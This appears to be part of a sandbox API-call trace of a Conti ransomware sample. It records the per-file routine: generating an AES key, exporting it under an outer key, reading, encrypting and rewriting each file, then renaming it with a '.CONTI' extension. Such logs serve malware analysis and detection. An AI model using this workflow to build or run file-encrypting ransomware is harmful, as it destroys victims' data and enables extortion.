	[0129.560] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.005.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.005.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.005.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.005.etl.conti")) returned 1
	[0129.582] GetProcessHeap () returned 0x1720000
	[0129.582] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65f6ee0 | out: hHeap=0x1720000) returned 1
	[0129.583] CryptDestroyKey (hKey=0x6b7ebb8) returned 1
	[0129.583] GetProcessHeap () returned 0x1720000
	[0129.583] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7a7c0 | out: hHeap=0x1720000) returned 1
	[0129.583] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0130.187] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b534c0 | out: phKey=0x6b534c0*=0x17c80b0) returned 1
	[0130.187] CryptExportKey (in: hKey=0x17c80b0, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b534c4, pdwDataLen=0x433f9bc | out: pbData=0x6b534c4*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0130.187] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowssq.json")) returned 0x120
	[0130.188] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowssq.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0130.188] GetLastError () returned 0x5
	[0130.188] CryptDestroyKey (hKey=0x17c80b0) returned 1
	[0130.188] GetProcessHeap () returned 0x1720000
	[0130.188] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x68955a0 | out: hHeap=0x1720000) returned 1
	[0130.188] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0132.125] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b47bf8 | out: phKey=0x6b47bf8*=0x17c82b0) returned 1
	[0132.125] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b47bfc, pdwDataLen=0x433f9bc | out: pbData=0x6b47bfc*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0132.126] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\countrytable.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\countrytable.xml")) returned 0x20
	[0132.127] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\countrytable.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\countrytable.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0132.127] GetLastError () returned 0x5
	[0132.127] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0132.127] GetProcessHeap () returned 0x1720000
	[0132.127] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7a940 | out: hHeap=0x1720000) returned 1
	[0132.127] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0133.116] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b449c8 | out: phKey=0x6b449c8*=0x17c8470) returned 1
	[0133.116] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b449cc, pdwDataLen=0x433f9bc | out: pbData=0x6b449cc*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0133.119] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows")) returned 0x2010
	[0133.119] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.119] GetLastError () returned 0x5
	[0133.119] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0133.119] GetProcessHeap () returned 0x1720000
	[0133.119] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176bf90 | out: hHeap=0x1720000) returned 1
	[0133.119] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0133.994] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b462e0 | out: phKey=0x6b462e0*=0x17c83f0) returned 1
	[0133.994] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b462e4, pdwDataLen=0x433f9bc | out: pbData=0x6b462e4*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0133.995] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edb.log")) returned 0x20
	[0133.995] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.log" (normalized: "c:\\users\\all users\\microsoft\\smsrouter\\messagestore\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0133.995] GetLastError () returned 0x5
	[0133.995] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0133.995] GetProcessHeap () returned 0x1720000
	[0133.995] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7adc0 | out: hHeap=0x1720000) returned 1
	[0133.995] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0137.907] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b4e2a0 | out: phKey=0x6b4e2a0*=0x6b7ebb8) returned 1
	[0137.907] CryptExportKey (in: hKey=0x6b7ebb8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4e2a4, pdwDataLen=0x433f9bc | out: pbData=0x6b4e2a4*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0137.908] GetFileAttributesW (lpFileName="C:\\Users\\Default.migrated\\AppData" (normalized: "c:\\users\\default.migrated\\appdata")) returned 0x10
	[0137.908] CreateFileW (lpFileName="C:\\Users\\Default.migrated\\AppData" (normalized: "c:\\users\\default.migrated\\appdata"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0137.908] GetLastError () returned 0x5
	[0137.908] CryptDestroyKey (hKey=0x6b7ebb8) returned 1
	[0137.908] GetProcessHeap () returned 0x1720000
	[0137.908] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d3c8 | out: hHeap=0x1720000) returned 1
	[0137.908] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0137.908] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b46c00 | out: phKey=0x6b46c00*=0x6b7ebb8) returned 1
	[0137.908] CryptExportKey (in: hKey=0x6b7ebb8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b46c04, pdwDataLen=0x433f9bc | out: pbData=0x6b46c04*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0137.909] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\XsBVvo-Gldp5LHmSTBv.xls" (normalized: "c:\\users\\fd1hvy\\desktop\\xsbvvo-gldp5lhmstbv.xls")) returned 0x20
	[0137.909] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\XsBVvo-Gldp5LHmSTBv.xls" (normalized: "c:\\users\\fd1hvy\\desktop\\xsbvvo-gldp5lhmstbv.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0137.909] GetLastError () returned 0x0
	[0137.909] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=44301) returned 1
	[0137.909] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xad0d
	[0137.909] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.909] SetEndOfFile (hFile=0x458) returned 1
	[0137.909] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.909] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.909] WriteFile (in: hFile=0x458, lpBuffer=0x6b46c04*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b46c04*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0137.910] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.910] ReadFile (in: hFile=0x458, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0xad0d, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0xad0d, lpOverlapped=0x0) returned 1
	[0137.910] CryptEncrypt (in: hKey=0x6b7ebb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0xad0d, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0xad10) returned 1
	[0137.911] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.911] WriteFile (in: hFile=0x458, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0xad10, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0xad10, lpOverlapped=0x0) returned 1
	[0137.911] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.911] WriteFile (in: hFile=0x458, lpBuffer=0x6b46bf8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b46bf8*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0137.911] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.911] CloseHandle (hObject=0x458) returned 1
	[0137.911] GetProcessHeap () returned 0x1720000
	[0137.911] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.911] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\XsBVvo-Gldp5LHmSTBv.xls" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\XsBVvo-Gldp5LHmSTBv.xls") returned="C:\\Users\\FD1HVy\\Desktop\\XsBVvo-Gldp5LHmSTBv.xls"
	[0137.911] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\XsBVvo-Gldp5LHmSTBv.xls", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\XsBVvo-Gldp5LHmSTBv.xls.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\XsBVvo-Gldp5LHmSTBv.xls.CONTI"
	[0137.911] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\XsBVvo-Gldp5LHmSTBv.xls" (normalized: "c:\\users\\fd1hvy\\desktop\\xsbvvo-gldp5lhmstbv.xls"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\XsBVvo-Gldp5LHmSTBv.xls.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\xsbvvo-gldp5lhmstbv.xls.conti")) returned 1
	[0137.912] GetProcessHeap () returned 0x1720000
	[0137.912] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.912] CryptDestroyKey (hKey=0x6b7ebb8) returned 1
	[0137.912] GetProcessHeap () returned 0x1720000
	[0137.912] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cb8e8 | out: hHeap=0x1720000) returned 1
	[0137.912] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0137.912] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b47090 | out: phKey=0x6b47090*=0x6b7ecb8) returned 1
	[0137.912] CryptExportKey (in: hKey=0x6b7ecb8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b47094, pdwDataLen=0x433f9bc | out: pbData=0x6b47094*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0137.913] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\xuBjHrVTrwkH.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\xubjhrvtrwkh.bmp")) returned 0x20
	[0137.913] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\xuBjHrVTrwkH.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\xubjhrvtrwkh.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0137.913] GetLastError () returned 0x0
	[0137.913] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=78963) returned 1
	[0137.913] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x13473
	[0137.913] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.913] SetEndOfFile (hFile=0x458) returned 1
	[0137.913] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.913] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.913] WriteFile (in: hFile=0x458, lpBuffer=0x6b47094*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b47094*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0137.914] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.914] ReadFile (in: hFile=0x458, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x13473, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x13473, lpOverlapped=0x0) returned 1
	[0137.915] CryptEncrypt (in: hKey=0x6b7ecb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x13473, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x13480) returned 1
	[0137.915] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.915] WriteFile (in: hFile=0x458, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x13480, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x13480, lpOverlapped=0x0) returned 1
	[0137.915] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.915] WriteFile (in: hFile=0x458, lpBuffer=0x6b47088*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b47088*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0137.915] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.916] CloseHandle (hObject=0x458) returned 1
	[0137.916] GetProcessHeap () returned 0x1720000
	[0137.916] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.916] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\xuBjHrVTrwkH.bmp" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\xuBjHrVTrwkH.bmp") returned="C:\\Users\\FD1HVy\\Desktop\\xuBjHrVTrwkH.bmp"
	[0137.916] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\xuBjHrVTrwkH.bmp", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\xuBjHrVTrwkH.bmp.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\xuBjHrVTrwkH.bmp.CONTI"
	[0137.916] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\xuBjHrVTrwkH.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\xubjhrvtrwkh.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\xuBjHrVTrwkH.bmp.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\xubjhrvtrwkh.bmp.conti")) returned 1
	[0137.931] GetProcessHeap () returned 0x1720000
	[0137.931] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.931] CryptDestroyKey (hKey=0x6b7ecb8) returned 1
	[0137.931] GetProcessHeap () returned 0x1720000
	[0137.931] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741100 | out: hHeap=0x1720000) returned 1
	[0137.932] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0137.932] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b472d8 | out: phKey=0x6b472d8*=0x6b7eeb8) returned 1
	[0137.932] CryptExportKey (in: hKey=0x6b7eeb8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b472dc, pdwDataLen=0x433f9bc | out: pbData=0x6b472dc*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0137.932] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\yKMQUPW4pD6Iq.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\ykmqupw4pd6iq.swf")) returned 0x20
	[0137.932] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\yKMQUPW4pD6Iq.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\ykmqupw4pd6iq.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0137.933] GetLastError () returned 0x0
	[0137.933] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=63135) returned 1
	[0137.933] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf69f
	[0137.933] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.933] SetEndOfFile (hFile=0x458) returned 1
	[0137.933] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.933] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.933] WriteFile (in: hFile=0x458, lpBuffer=0x6b472dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b472dc*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0137.944] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.944] ReadFile (in: hFile=0x458, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0xf69f, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0xf69f, lpOverlapped=0x0) returned 1
	[0138.011] CryptEncrypt (in: hKey=0x6b7eeb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0xf69f, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0xf6a0) returned 1
	[0138.011] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.011] WriteFile (in: hFile=0x458, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0xf6a0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0xf6a0, lpOverlapped=0x0) returned 1
	[0138.011] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.011] WriteFile (in: hFile=0x458, lpBuffer=0x6b472d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b472d0*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0138.011] SetFilePointer (in: hFile=0x458, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.011] CloseHandle (hObject=0x458) returned 1
	[0138.012] GetProcessHeap () returned 0x1720000
	[0138.012] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0138.012] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\yKMQUPW4pD6Iq.swf" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\yKMQUPW4pD6Iq.swf") returned="C:\\Users\\FD1HVy\\Desktop\\yKMQUPW4pD6Iq.swf"
	[0138.012] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\yKMQUPW4pD6Iq.swf", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\yKMQUPW4pD6Iq.swf.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\yKMQUPW4pD6Iq.swf.CONTI"
	[0138.012] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\yKMQUPW4pD6Iq.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\ykmqupw4pd6iq.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\yKMQUPW4pD6Iq.swf.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\ykmqupw4pd6iq.swf.conti")) returned 1
	[0138.014] GetProcessHeap () returned 0x1720000
	[0138.014] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0138.014] CryptDestroyKey (hKey=0x6b7eeb8) returned 1
	[0138.014] GetProcessHeap () returned 0x1720000
	[0138.014] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741160 | out: hHeap=0x1720000) returned 1
	[0138.014] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0138.014] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b4a078 | out: phKey=0x6b4a078*=0x6b7ebb8) returned 1
	[0138.014] CryptExportKey (in: hKey=0x6b7ebb8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4a07c, pdwDataLen=0x433f9bc | out: pbData=0x6b4a07c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0138.015] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\Zqc4CJVvkIwVoqSK.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\zqc4cjvvkiwvoqsk.swf")) returned 0x20
